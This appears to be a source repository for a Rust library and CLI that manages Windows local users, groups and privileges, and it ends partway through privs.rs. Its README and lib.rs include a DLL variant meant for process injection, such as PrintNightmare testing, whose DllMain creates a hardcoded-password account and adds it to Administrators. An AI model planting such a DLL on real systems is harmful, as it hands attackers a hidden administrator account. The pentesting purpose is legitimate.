├── .github └── workflows │ └── rust.yml ├── .gitignore ├── Cargo.toml ├── README.md └── src ├── cli.rs ├── groups.rs ├── lib.rs ├── main.rs ├── privs.rs └── users.rs /.github/workflows/rust.yml: -------------------------------------------------------------------------------- 1 | name: Rust 2 | 3 | on: 4 | push: 5 | branches: [ "main" ] 6 | pull_request: 7 | branches: [ "main" ] 8 | 9 | env: 10 | CARGO_TERM_COLOR: always 11 | 12 | jobs: 13 | build: 14 | runs-on: windows-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | - name: Build debug EXE 18 | run: cargo build --verbose 19 | - name: Run tests 20 | run: cargo test --verbose 21 | - name: Build release EXE 22 | run: cargo build --release --verbose 23 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | /target 2 | /Cargo.lock 3 | -------------------------------------------------------------------------------- /Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "netuser-rs" 3 | authors = ["secur30nly"] 4 | description = "Rust bindings to Microsoft Windows users / groups management API" 5 | license = "BSD 2-Clause \"Simplified\" License" 6 | version = "1.0.0" 7 | edition = "2021" 8 | 9 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 10 | 11 | #[lib] 12 | #crate-type = ["cdylib"] 13 | 14 | [dependencies] 15 | chrono = "0.4.30" 16 | clap = { version = "4.4.0", features = ["derive"] } 17 | log = { version = "0.4.19", features = ["std"] } 18 | simple_logger = "4.2.0" 19 | 20 | 21 | [dependencies.windows-sys] 22 | version = "0.48.0" 23 | features = [ 24 | "Win32_Foundation", 25 | "Win32_Security", 26 | "Win32_Security_Authorization", 27 | "Win32_System_Threading", 28 | "Win32_UI_WindowsAndMessaging", 29 | "Win32_System_Memory", 30 | "Win32_System_Diagnostics_Debug", 31 | "Win32_System_SystemServices", 32 | "Win32_System_WindowsProgramming", 33 | "Win32_System_LibraryLoader", 34 | "Win32_NetworkManagement_IpHelper", 35 | "Win32_NetworkManagement_NetManagement", 36 | "Win32_Networking_WinSock", 37 | "Win32_System_SystemInformation", 38 | "Win32_System_Environment", 39 | "Win32_System_ProcessStatus", 40 | "Win32_Globalization", 41 | "Win32_System_Diagnostics_ToolHelp", 42 | "Win32_System_Kernel", 43 | "Win32_System_Pipes", 44 | "Win32_Storage_FileSystem", 45 | "Win32_System_IO", 46 | "Win32_Networking_ActiveDirectory", 47 | "Win32_Security_Authentication_Identity", 48 | 49 | ] 50 | 51 | # less binary size (~x1.5), but more compile time 52 | [profile.release] 53 | strip = true # Automatically strip symbols from the binary. 54 | lto = true # Instructs the linker to optimize at the link stage 55 | opt-level = "z" # Optimize for size. 56 | codegen-units = 1 57 | 58 | [features] 59 | debug = [] 60 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # netuser-rs 2 | Rust bindings to Microsoft Windows users / groups management API. 3 | 4 | > **DISCLAIMER.** All information contained in this repository is provided for educational and research purposes only. The owner is not responsible for any illegal use of included code snippets. 5 | 6 | The program is presented in two variants: DLL (for injection into the process) and EXE (User-friendly CLI). 7 | ### Features: 8 | * Operations over local users: 9 | * Creating local users with adding account description (Comment Section) 10 | * Deleting a local user account 11 | * Change password for local user account 12 | * Enable/disable a local user account 13 | * Get all user accounts in the system 14 | * Get a detailed description of a user account (net user username analog) 15 | * Operations over user account SIDs: 16 | * Get a user account name by its SID and vice versa 17 | * SID validation 18 | * Convert SID to string and vice versa 19 | * Operations over local groups: 20 | * Get all members of a local group 21 | * Get all groups of the user account 22 | * Remove a user account from a group 23 | * Add a user account to a group 24 | * Operations over user account privileges: 25 | * Add privileges to a user account 26 | * Remove user account privileges 27 | * Get LUID by privilege name and vice versa 28 | ## Using as a crate 29 | Add following line to ```Cargo.toml```: 30 | ```toml 31 | [dependencies] 32 | netuser_rs = { git = "https://github.com/secur30nly/netuser-rs.git", branch = "main" } 33 | ``` 34 | 35 | And use in your code: 36 | ```rust 37 | fn main() { 38 | let username = "pentester"; 39 | let password = "P@ssw0rd123!"; 40 | let description = Some("Pentester account. Don't worry!"); // Or None 41 | if let Err(err) = netuser_rs::users::add_user(username, password, &description) { 42 | println!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 43 | return; 44 | } 45 | } 46 | ``` 47 | 48 | ## Using as a CLI program 49 | To build as an EXE, run the following command after cloning the repository: 50 | ``` 51 | C:\Users\secur30nly\netuser-rs> cargo build --release 52 | ``` 53 | The final EXE will be located at the path netuser-rs/target/release/netuser-rs.exe. 54 | 55 | After the building, you can run the program with the ```-h``` flag to open the help menu: 56 | ![image](https://github.com/secur30nly/netuser-rs/assets/62586375/e0c155f3-2c79-4a94-a56f-3d590592a9c5) 57 | 58 | For the test, let's create a user and add it to the admin group, then print the details of the created account: 59 | ![image](https://github.com/secur30nly/netuser-rs/assets/62586375/a7139887-a0b2-461e-bee6-623903879449) 60 | 61 | ## Using as a DLL 62 | This option is useful if you need to perform the necessary operations when joining a process (for example: testing the Printnightmare vulnerability). 63 | To build as a DLL, you must uncomment the following line in the ```Cargo.toml``` file: 64 | ```toml 65 | #[lib] 66 | #crate-type = ["cdylib"] 67 | ``` 68 | After that you need to edit the functions to be run and the parameters to them: 69 | ```rust 70 | #[no_mangle] 71 | #[allow(unused_variables, non_snake_case, unused_must_use)] 72 | unsafe extern "system" fn DllMain(_: *const u8, call_reason: u32, _: *const u8) -> bool { 73 | let username = "pentester"; // Change this 74 | let description: Option = None; // Change this (if description required: Some("Description".to_owned()) ) 75 | let password = "P@ssw0rd12345!!!"; // Change this 76 | let groupname = "Administrators"; // Change this 77 | match call_reason { 78 | DLL_PROCESS_ATTACH => { 79 | users::add_user(username, password, &description).unwrap(); // Change this 80 | groups::add_user_to_group(username, groupname).unwrap(); // Change this 81 | } 82 | DLL_PROCESS_DETACH => {} 83 | _ => {} 84 | } 85 | 86 | true 87 | } 88 | ``` 89 | 90 | And finally run the building as a DLL: 91 | ``` 92 | C:\Users\secur30nly\netuser-rs> cargo build --release --lib 93 | ``` 94 | The final DLL will be located at the path netuser-rs/target/release/netuser-rs.dll. 95 | -------------------------------------------------------------------------------- /src/cli.rs: -------------------------------------------------------------------------------- 1 | use clap::{Parser, Subcommand}; 2 | 3 | #[derive(Parser)] 4 | #[command(author, version, about, long_about = None)] 5 | #[command(propagate_version = true)] 6 | pub struct Cli { 7 | #[command(subcommand)] 8 | pub command: Commands, 9 | } 10 | 11 | #[derive(Subcommand)] 12 | pub enum Commands { 13 | /// Create local user account 14 | AddUser { 15 | /// Name of the new local user account 16 | #[arg(short, long)] 17 | username: String, 18 | /// Password of the new local user account 19 | #[arg(short, long)] 20 | password: String, 21 | /// Description of the new local user account (Optional) 22 | #[arg(short, long)] 23 | description: Option, 24 | 25 | }, 26 | /// Add new privilege to user account 27 | AddPriv { 28 | /// Account name to add privilege 29 | #[arg(short, long)] 30 | username: String, 31 | /// Name of the privilege to add to the account 32 | #[arg(long = "priv")] 33 | privilege: String, 34 | }, 35 | /// Add local user account to local group 36 | AddToGroup { 37 | /// Name of the account to add to the local group 38 | #[arg(short, long)] 39 | username: String, 40 | /// Name of the local group where to add the account 41 | #[arg(short, long)] 42 | groupname: String, 43 | }, 44 | /// Delete local user account 45 | DelUser { 46 | /// Name of the local user account to delete 47 | #[arg(short, long)] 48 | username: String, 49 | }, 50 | /// Delete user account privilege 51 | DelPriv { 52 | /// Account name to delete privilege 53 | #[arg(short, long)] 54 | username: String, 55 | /// Name of the privilege to delete from the account 56 | #[arg(long = "priv")] 57 | privilege: String, 58 | }, 59 | /// Delete local user account from local group 60 | DelFromGroup { 61 | /// Name of the account to delete from the local group 62 | #[arg(short, long)] 63 | username: String, 64 | /// Name of the local group where to delete the account 65 | #[arg(short, long)] 66 | groupname: String, 67 | }, 68 | /// Change local user account password with new one 69 | ChangePass { 70 | /// Name of the account to change current password 71 | #[arg(short, long)] 72 | username: String, 73 | /// New password of the local user account 74 | #[arg(short, long)] 75 | password: String, 76 | }, 77 | /// Enable local user account 78 | EnableUser { 79 | /// Name of the account to enable 80 | #[arg(short, long)] 81 | username: String, 82 | }, 83 | /// Disable local user account 84 | DisableUser { 85 | /// Name of the account to disable 86 | #[arg(short, long)] 87 | username: String, 88 | }, 89 | /// List all user accounts 90 | GetUsers {}, 91 | /// Get detailed info about user account 92 | GetUser { 93 | /// Name of the user account to show detailed information 94 | #[arg(short, long)] 95 | username: String 96 | }, 97 | /// Get all users that have specified privilege 98 | GetUsersByPriv { 99 | /// Name of the privilege for user search 100 | #[arg(long = "priv")] 101 | privilege: String, 102 | }, 103 | /// List all user groups 104 | GetUserGroups { 105 | /// Name of the local user account to show all groups 106 | #[arg(short, long)] 107 | username: String, 108 | }, 109 | /// List all group members 110 | GetGroupMembers { 111 | /// Name of the local group to show all members 112 | #[arg(short, long)] 113 | groupname: String, 114 | 115 | /// List SIDs of group members instead of names (Optional) 116 | #[arg(long)] 117 | sids_only: bool, 118 | }, 119 | /// List privileges of local user account or local group 120 | GetPrivs { 121 | /// Name of the local user account or group to show all privileges 122 | #[arg(short, long)] 123 | name: String, 124 | }, 125 | } 126 | -------------------------------------------------------------------------------- /src/groups.rs: -------------------------------------------------------------------------------- 1 | use crate::decode_wide_nul_to_string; 2 | use crate::users::sid_to_string_sid; 3 | use std::ptr::null_mut; 4 | use windows_sys::Win32::NetworkManagement::NetManagement::{ 5 | NERR_Success, NetLocalGroupAddMembers, NetLocalGroupDelMembers, 6 | NetLocalGroupGetMembers, NetUserGetGroups, NetUserGetLocalGroups, GROUP_USERS_INFO_0, 7 | LG_INCLUDE_INDIRECT, LOCALGROUP_MEMBERS_INFO_0, LOCALGROUP_MEMBERS_INFO_2, 8 | LOCALGROUP_USERS_INFO_0, MAX_PREFERRED_LENGTH, 9 | }; 10 | 11 | /// Add user to specified local group. 12 | /// If `deletion` param is `true` - delete specified user account from local group. 13 | /// 14 | /// If failed - returns Windows error. 15 | /// 16 | /// This is a private function and should not be used directly. 17 | /// Use `add_local_user_to_group` and `del_local_user_from_group` instead. 18 | unsafe fn manage_group_users(username: &str, groupname: &str, deletion: bool) -> Result<(), u32> { 19 | let wide_groupname_nul = crate::encode_string_to_wide(groupname); 20 | let sid = crate::users::get_user_sid(username)?; 21 | let mut group_info = core::mem::zeroed::(); 22 | 23 | group_info.lgrmi0_sid = sid.as_ptr() as *mut core::ffi::c_void; 24 | 25 | let rc: u32; 26 | if deletion { 27 | rc = NetLocalGroupDelMembers( 28 | null_mut(), 29 | wide_groupname_nul.as_ptr(), 30 | 0, 31 | &group_info as *const _ as *const u8, 32 | 1, 33 | ); 34 | } else { 35 | rc = NetLocalGroupAddMembers( 36 | null_mut(), 37 | wide_groupname_nul.as_ptr(), 38 | 0, 39 | &group_info as *const _ as *const u8, 40 | 1, 41 | ); 42 | } 43 | 44 | if rc != NERR_Success { 45 | return Err(rc); 46 | } 47 | 48 | Ok(()) 49 | } 50 | 51 | /// Get members of local group. If sids_only is `true` - returs members SIDs instead names. 52 | /// 53 | /// If failed - returns Windows error. 54 | /// 55 | /// # Examples 56 | /// 57 | /// ```no_run 58 | /// use netuser_rs::groups::get_group_members; 59 | /// use netuser_rs::win_err_text; 60 | /// 61 | /// fn main() { 62 | /// let groupname = "Remote Desktop Users"; 63 | /// let sids_only = false; // get usernames of group members instead of SIDs 64 | /// let group_members = match get_group_members(groupname, sids_only) { 65 | /// Ok(members) => members, 66 | /// Err(err) => { 67 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 68 | /// return; 69 | /// } 70 | /// }; 71 | /// 72 | /// for member in group_members { 73 | /// println!("\"{}\" member name: {}", groupname, member); 74 | /// } 75 | /// } 76 | /// ``` 77 | pub fn get_group_members(groupname: &str, sids_only: bool) -> Result, u32> { 78 | let wide_groupname_nul = crate::encode_string_to_wide(groupname); 79 | let mut buffer = null_mut(); 80 | let mut entries_read = 0; 81 | let mut total_entries = 0; 82 | 83 | let group_members_slice = unsafe { 84 | let rc = NetLocalGroupGetMembers( 85 | null_mut(), 86 | wide_groupname_nul.as_ptr(), 87 | 2, // get sids, account names and domain instead sids only (level 0) 88 | &mut buffer, 89 | MAX_PREFERRED_LENGTH, 90 | &mut entries_read, 91 | &mut total_entries, 92 | null_mut(), 93 | ); 94 | if rc != NERR_Success { 95 | return Err(rc); 96 | } 97 | 98 | std::slice::from_raw_parts( 99 | buffer as *const u8 as *const LOCALGROUP_MEMBERS_INFO_2, 100 | entries_read as usize, 101 | ) 102 | }; 103 | 104 | let mut group_members = Vec::::with_capacity(group_members_slice.len()); 105 | if sids_only { 106 | for member in group_members_slice { 107 | group_members.push(sid_to_string_sid(member.lgrmi2_sid)?); 108 | } 109 | } else { 110 | for member in group_members_slice { 111 | group_members 112 | .push(decode_wide_nul_to_string(member.lgrmi2_domainandname).unwrap()); 113 | } 114 | } 115 | 116 | Ok(group_members) 117 | } 118 | 119 | /// List all user groups - local and global. `0` element of tuple - local groups, `1` - global groups 120 | /// 121 | /// If failed - returns Windows error. 122 | /// 123 | /// # Examples 124 | /// 125 | /// ```no_run 126 | /// use netuser_rs::groups::get_user_groups; 127 | /// use netuser_rs::win_err_text; 128 | /// 129 | /// fn main() { 130 | /// let username = "pentester"; 131 | /// let user_groups = match get_user_groups(username) { 132 | /// Ok(groups) => groups, 133 | /// Err(err) => { 134 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 135 | /// return; 136 | /// } 137 | /// }; 138 | /// for local_group in user_groups.0 { 139 | /// println!(" {}", local_group); 140 | /// } 141 | /// 142 | /// for global_group in user_groups.1 { 143 | /// println!(" {}", global_group); 144 | /// } 145 | ///} 146 | /// ``` 147 | pub fn get_user_groups(username: &str) -> Result<(Vec, Vec), u32> { 148 | let wide_username_nul = crate::encode_string_to_wide(username); 149 | let mut buffer = null_mut(); 150 | let mut entries_read = 0; 151 | let mut total_entries = 0; 152 | let mut rc; 153 | 154 | let local_groups_slice = unsafe { 155 | rc = NetUserGetLocalGroups( 156 | null_mut(), 157 | wide_username_nul.as_ptr(), 158 | 0, 159 | LG_INCLUDE_INDIRECT, // the function also returns the names of the local groups in which the user is indirectly a member 160 | &mut buffer, 161 | MAX_PREFERRED_LENGTH, 162 | &mut entries_read, 163 | &mut total_entries, 164 | ); 165 | if rc != NERR_Success { 166 | return Err(rc); 167 | } 168 | 169 | std::slice::from_raw_parts( 170 | buffer as *const u8 as *const LOCALGROUP_USERS_INFO_0, 171 | entries_read as usize, 172 | ) 173 | }; 174 | 175 | let mut local_groups = Vec::::with_capacity(local_groups_slice.len()); 176 | for group in local_groups_slice { 177 | local_groups.push(decode_wide_nul_to_string(group.lgrui0_name).unwrap()); 178 | } 179 | 180 | buffer = null_mut(); 181 | entries_read = 0; 182 | total_entries = 0; 183 | 184 | let global_groups_slice = unsafe { 185 | rc = NetUserGetGroups( 186 | null_mut(), 187 | wide_username_nul.as_ptr(), 188 | 0, 189 | &mut buffer, 190 | MAX_PREFERRED_LENGTH, 191 | &mut entries_read, 192 | &mut total_entries, 193 | ); 194 | if rc != NERR_Success { 195 | return Err(rc); 196 | } 197 | 198 | std::slice::from_raw_parts( 199 | buffer as *const u8 as *const GROUP_USERS_INFO_0, 200 | entries_read as usize, 201 | ) 202 | }; 203 | 204 | let mut global_groups = Vec::::with_capacity(global_groups_slice.len()); 205 | 206 | for group in global_groups_slice { 207 | global_groups.push(decode_wide_nul_to_string(group.grui0_name).unwrap()); 208 | } 209 | 210 | Ok((local_groups, global_groups)) 211 | } 212 | 213 | /// Delete local user account from specified local group. 214 | /// 215 | /// If failed - returns Windows error. 216 | /// 217 | /// # Examples 218 | /// 219 | /// ```no_run 220 | /// use netuser_rs::groups::delete_user_from_group; 221 | /// use netuser_rs::win_err_text; 222 | /// 223 | /// fn main() { 224 | /// let username = "pentester"; 225 | /// let groupname = "Administrators"; 226 | /// if let Err(err) = delete_user_from_group(username, groupname) { 227 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 228 | /// return; 229 | /// } 230 | ///} 231 | /// ``` 232 | pub fn delete_user_from_group(username: &str, groupname: &str) -> Result<(), u32> { 233 | unsafe { manage_group_users(username, groupname, true) } 234 | } 235 | 236 | /// Add local user account to specified local group. 237 | /// 238 | /// If failed - returns Windows error. 239 | /// 240 | /// # Examples 241 | /// 242 | /// ```no_run 243 | /// use netuser_rs::groups::add_user_to_group; 244 | /// use netuser_rs::win_err_text; 245 | /// 246 | /// fn main() { 247 | /// let username = "pentester"; 248 | /// let groupname = "Administrators"; 249 | /// if let Err(err) = add_user_to_group(username, groupname) { 250 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 251 | /// return; 252 | /// } 253 | ///} 254 | /// ``` 255 | pub fn add_user_to_group(username: &str, groupname: &str) -> Result<(), u32> { 256 | unsafe { manage_group_users(username, groupname, false) } 257 | } 258 | -------------------------------------------------------------------------------- /src/lib.rs: -------------------------------------------------------------------------------- 1 | use std::collections::HashMap; 2 | use chrono::{NaiveDateTime, DateTime, Utc}; 3 | use windows_sys::Win32::{ 4 | Foundation::{UNICODE_STRING, ERROR_ACCESS_DENIED}, 5 | System::SystemServices::{DLL_PROCESS_ATTACH, DLL_PROCESS_DETACH}, 6 | }; 7 | 8 | pub mod cli; 9 | pub mod groups; 10 | pub mod privs; 11 | pub mod users; 12 | 13 | const MAX_NAME: u32 = 256; 14 | const POLICY_ALL_ACCESS: u32 = 0x00F0FFF; 15 | 16 | fn encode_string_to_wide(s: &str) -> Vec { 17 | s.encode_utf16().chain(std::iter::once(0)).collect() 18 | } 19 | 20 | fn decode_wide_nul_to_string( 21 | ptr_wide_string: *mut u16, 22 | ) -> Result { 23 | let mut decoded_string = Vec::::new(); 24 | let mut i = 0; 25 | unsafe { 26 | while *ptr_wide_string.add(i) != 0 { 27 | decoded_string.push(*ptr_wide_string.add(i)); 28 | i += 1; 29 | } 30 | } 31 | return String::from_utf16(&decoded_string); 32 | } 33 | 34 | unsafe fn unicode_string_to_string(s: UNICODE_STRING) -> String { 35 | String::from_utf16_lossy(std::slice::from_raw_parts(s.Buffer, s.Length as usize / 2)) 36 | } 37 | 38 | pub fn win_err_text(err: u32) -> String { 39 | let errors: HashMap = HashMap::from([ 40 | ( 41 | 8646, 42 | "The system is not authoritative for the specified account and therefore \ 43 | cannot complete the operation. Please retry the operation using the provider \ 44 | associated with this account. If this is an online provider please use the \ 45 | provider's online site. (Ex.: Microsoft account - user@outlook.com)", 46 | ), 47 | (2245, "The password is shorter than required"), 48 | (2202, "The user name or group name parameter is invalid"), 49 | (2224, "The user account already exists"), 50 | (2221, "The user name could not be found"), 51 | (2220, "The group name could not be found"), 52 | (2231, "Deleting a user with a session is not allowed"), 53 | (2236, "The user already belongs to this group"), 54 | (2243, "The password of this user cannot change"), 55 | (1337, "The security ID structure is invalid"), 56 | (1377, "The specified account name is not a member of the group"), 57 | (1332, "No mapping between account names and security IDs was done"), 58 | (1313, "A specified privilege does not exist"), 59 | (2, "Set of user privileges is empty"), 60 | (ERROR_ACCESS_DENIED, "The user does not have rights for the requested operation") 61 | ]); 62 | 63 | errors.get(&err).unwrap_or(&"Unexpected error").to_string() 64 | } 65 | 66 | #[no_mangle] 67 | #[allow(unused_variables, non_snake_case, unused_must_use)] 68 | unsafe extern "system" fn DllMain(_: *const u8, call_reason: u32, _: *const u8) -> bool { 69 | let username = "pentester"; // Change this 70 | let description: Option = None; // Change this (if description required: Some("Description".to_owned()) ) 71 | let password = "P@ssw0rd12345!!!"; // Change this 72 | let groupname = "Administrators"; // Change this 73 | match call_reason { 74 | DLL_PROCESS_ATTACH => { 75 | users::add_user(username, password, &description).unwrap(); // Change this 76 | groups::add_user_to_group(username, groupname).unwrap(); // Change this 77 | } 78 | DLL_PROCESS_DETACH => {} 79 | _ => {} 80 | } 81 | 82 | true 83 | } 84 | 85 | pub fn timestamp_to_datetime(timestamp: i64) -> String { 86 | let naive = NaiveDateTime::from_timestamp_opt(timestamp, 0).unwrap(); 87 | let datetime: DateTime = DateTime::from_naive_utc_and_offset(naive, Utc); 88 | format!("{}", datetime.format("%Y-%m-%d %H:%M:%S")) 89 | } 90 | 91 | pub fn get_current_timestamp() -> i64 { 92 | let now = Utc::now(); 93 | now.timestamp() 94 | } -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | use netuser_rs::cli::{Cli, Commands}; 2 | use clap::Parser; 3 | use simple_logger::SimpleLogger; 4 | 5 | fn main() { 6 | SimpleLogger::new().init().unwrap(); 7 | let cli = Cli::parse(); 8 | 9 | match &cli.command { 10 | Commands::AddUser { username, password, description } => { 11 | if let Err(err) = netuser_rs::users::add_user(username, password, description) { 12 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 13 | return; 14 | } 15 | log::info!("Account \"{}\" created", username); 16 | } 17 | Commands::DelUser { username } => { 18 | if let Err(err) = netuser_rs::users::delete_user(username.as_str()) { 19 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 20 | return; 21 | } 22 | log::info!("Account \"{}\" deleted", username); 23 | } 24 | Commands::ChangePass { username, password } => { 25 | if let Err(err) = netuser_rs::users::change_user_password(username, password) { 26 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 27 | return; 28 | } 29 | log::info!("Password of \"{}\" account changed", username); 30 | } 31 | Commands::EnableUser { username } => { 32 | if let Err(err) = netuser_rs::users::enable_user_account(username) { 33 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 34 | return; 35 | } 36 | log::info!("\"{}\" account enabled", username); 37 | } 38 | Commands::DisableUser { username } => { 39 | if let Err(err) = netuser_rs::users::disable_user_account(username) { 40 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 41 | return; 42 | } 43 | log::info!("\"{}\" account disabled", username); 44 | } 45 | Commands::AddToGroup { 46 | username, 47 | groupname, 48 | } => { 49 | if let Err(err) = netuser_rs::groups::add_user_to_group(username, groupname) { 50 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 51 | return; 52 | } 53 | log::info!("The operation completed successfully"); 54 | } 55 | Commands::DelFromGroup { 56 | username, 57 | groupname, 58 | } => { 59 | if let Err(err) = netuser_rs::groups::delete_user_from_group(username, groupname) { 60 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 61 | return; 62 | } 63 | log::info!("The operation completed successfully"); 64 | } 65 | Commands::GetUserGroups { username } => { 66 | let user_groups = match netuser_rs::groups::get_user_groups(username) { 67 | Ok(groups) => groups, 68 | Err(err) => { 69 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 70 | return; 71 | } 72 | }; 73 | log::info!("Local groups of \"{}\": ", username); 74 | for local_group in user_groups.0 { 75 | println!(" {}", local_group); 76 | } 77 | 78 | log::info!("Global groups of \"{}\": ", username); 79 | for global_group in user_groups.1 { 80 | println!(" {}", global_group); 81 | } 82 | } 83 | Commands::GetGroupMembers { 84 | groupname, 85 | sids_only, 86 | } => { 87 | let group_members = match netuser_rs::groups::get_group_members( 88 | groupname, 89 | sids_only.to_owned() 90 | ) { 91 | Ok(members) => members, 92 | Err(err) => { 93 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 94 | return; 95 | } 96 | }; 97 | log::info!("Members of \"{}\" group: ", groupname); 98 | for member in group_members { 99 | println!(" {}", member); 100 | } 101 | } 102 | Commands::AddPriv { 103 | username, 104 | privilege, 105 | } => { 106 | if let Err(err) = netuser_rs::privs::add_user_privilege(username, privilege) { 107 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 108 | return; 109 | } 110 | log::info!( 111 | "Privilege \"{}\" added to \"{}\" account", 112 | privilege, 113 | username 114 | ); 115 | } 116 | Commands::DelPriv { 117 | username, 118 | privilege, 119 | } => { 120 | if let Err(err) = netuser_rs::privs::delete_user_privilege(username, privilege) { 121 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 122 | return; 123 | } 124 | log::info!( 125 | "Privilege \"{}\" removed from \"{}\" account", 126 | privilege, 127 | username 128 | ); 129 | } 130 | Commands::GetPrivs { name } => { 131 | let privileges = match netuser_rs::privs::get_user_privileges(name) { 132 | Ok(privileges) => privileges, 133 | Err(err) => { 134 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 135 | return; 136 | } 137 | }; 138 | log::info!("Privileges of \"{}\" account:", name); 139 | for privilege in privileges { 140 | println!(" {}", privilege); 141 | } 142 | } 143 | Commands::GetUsers {} => { 144 | let usernames = match netuser_rs::users::get_users() { 145 | Ok(usernames) => usernames, 146 | Err(err) => { 147 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 148 | return; 149 | } 150 | }; 151 | log::info!("User accounts: "); 152 | for username in usernames { 153 | println!(" {}", username); 154 | } 155 | } 156 | Commands::GetUsersByPriv { privilege } => { 157 | let usernames = match netuser_rs::privs::get_users_by_privilege(privilege) { 158 | Ok(usernames) => usernames, 159 | Err(err) => { 160 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 161 | return; 162 | } 163 | }; 164 | log::info!("User accounts / groups with \"{}\" privilege: ", privilege); 165 | for username in usernames { 166 | println!(" {}", username); 167 | } 168 | } 169 | Commands::GetUser { username } => { 170 | log::info!("Detailed information about \"{}\" user account: ", username); 171 | if let Err(err) = netuser_rs::users::print_user_detailed(username) { 172 | log::error!("Error: {} - {}\n", err, netuser_rs::win_err_text(err)); 173 | return; 174 | } 175 | }, 176 | } 177 | } 178 | -------------------------------------------------------------------------------- /src/privs.rs: -------------------------------------------------------------------------------- 1 | use windows_sys::Win32::{ 2 | Foundation::{GetLastError, LUID, STATUS_SUCCESS, UNICODE_STRING}, 3 | Security::{ 4 | Authentication::Identity::{ 5 | LsaAddAccountRights, LsaEnumerateAccountRights, LsaEnumerateAccountsWithUserRight, 6 | LsaNtStatusToWinError, LsaOpenPolicy, LsaRemoveAccountRights, 7 | LSA_ENUMERATION_INFORMATION, LSA_HANDLE, 8 | }, 9 | LookupPrivilegeNameW, LookupPrivilegeValueW, 10 | }, 11 | System::WindowsProgramming::{RtlInitUnicodeString, OBJECT_ATTRIBUTES}, 12 | }; 13 | 14 | use crate::{ 15 | encode_string_to_wide, 16 | users::{get_user_by_sid, get_user_sid, sid_to_string_sid}, 17 | MAX_NAME, POLICY_ALL_ACCESS, 18 | }; 19 | 20 | /// Add account privilege / right to the specified user account. 21 | /// 22 | /// If failed - returns Windows error. 23 | /// 24 | /// # Examples 25 | /// 26 | /// ```no_run 27 | /// use netuser_rs::privs::add_user_privilege; 28 | /// use netuser_rs::win_err_text; 29 | /// 30 | /// fn main() { 31 | /// let username = "pentester"; 32 | /// let privilege = "SeShutdownPrivilege"; 33 | /// if let Err(err) = add_user_privilege(username, privilege) { 34 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 35 | /// return; 36 | /// } 37 | ///} 38 | /// ``` 39 | pub fn add_user_privilege(username: &str, privilege: &str) -> Result<(), u32> { 40 | let mut user_sid = get_user_sid(username)?; 41 | let lsa_policy_handle = get_lsa_policy_handle()?; 42 | 43 | let privilege_wide_nul = encode_string_to_wide(privilege); 44 | let mut privilege_unicode = unsafe { std::mem::zeroed::() }; 45 | unsafe { 46 | RtlInitUnicodeString(&mut privilege_unicode, privilege_wide_nul.as_ptr()); 47 | let ntstatus = LsaAddAccountRights( 48 | lsa_policy_handle, 49 | user_sid.as_mut_ptr() as *mut std::ffi::c_void, 50 | &privilege_unicode, 51 | 1, 52 | ); 53 | 54 | if ntstatus != STATUS_SUCCESS { 55 | return Err(LsaNtStatusToWinError(ntstatus)); 56 | } 57 | } 58 | 59 | Ok(()) 60 | } 61 | 62 | /// Remove account privilege / right from the specified user account. 63 | /// 64 | /// If failed - returns Windows error. 65 | /// 66 | /// # Examples 67 | /// 68 | /// ```no_run 69 | /// use netuser_rs::privs::delete_user_privilege; 70 | /// use netuser_rs::win_err_text; 71 | /// 72 | /// fn main() { 73 | /// let username = "pentester"; 74 | /// let privilege = "SeShutdownPrivilege"; 75 | /// if let Err(err) = delete_user_privilege(username, privilege) { 76 | /// log::error!("Error: {} - {}\n", err, win_err_text(err)); 77 | /// return; 78 | /// } 79 | ///} 80 | /// ``` 81 | pub fn delete_user_privilege(username: &str, privilege: &str) -> Result<(), u32> { 82 | let mut user_sid = get_user_sid(username)?; 83 | let lsa_policy_handle = get_lsa_policy_handle()?; 84 | 85 | let privilege_wide_nul = encode_string_to_wide(privilege); 86 | let mut privilege_unicode = unsafe { std::mem::zeroed::() }; 87 | 88 | unsafe { 89 | RtlInitUnicodeString(&mut privilege_unicode, privilege_wide_nul.as_ptr()); 90 | 91 | let ntstatus = LsaRemoveAccountRights( 92 | lsa_policy_handle, 93 | user_sid.as_mut_ptr() as *mut std::ffi::c_void, 94 | 0, 95 | &privilege_unicode, 96 | 1, 97 | ); 98 | 99 | if ntstatus != STATUS_SUCCESS { 100 | return Err(LsaNtStatusToWinError(ntstatus)); 101 | } 102 | } 103 | 104 | Ok(()) 105 | } 106 | 107 | /// Returns a LUID name by specified privilege. 108 | /// 109 | /// If failed - returns Windows error. 110 | /// 111 | /// # Examples 112 | /// 113 | /// ```no_run 114 | /// use netuser_rs::privs::get_luid_by_priv_name; 115 | /// 116 | /// fn main() { 117 | /// let privilege = "SeDebugPrivilege"; 118 | /// let privilege_luid = get_luid_by_priv_name(privilege).unwrap(); 119 | ///} 120 | /// ``` 121 | pub fn get_luid_by_priv_name(privilege: &str) -> Result { 122 | let privilege_wide_nul = crate::encode_string_to_wide(privilege); 123 | let mut privilege_luid = unsafe { std::mem::zeroed::() }; 124 | unsafe { 125 | if LookupPrivilegeValueW( 126 | std::ptr::null_mut(), 127 | 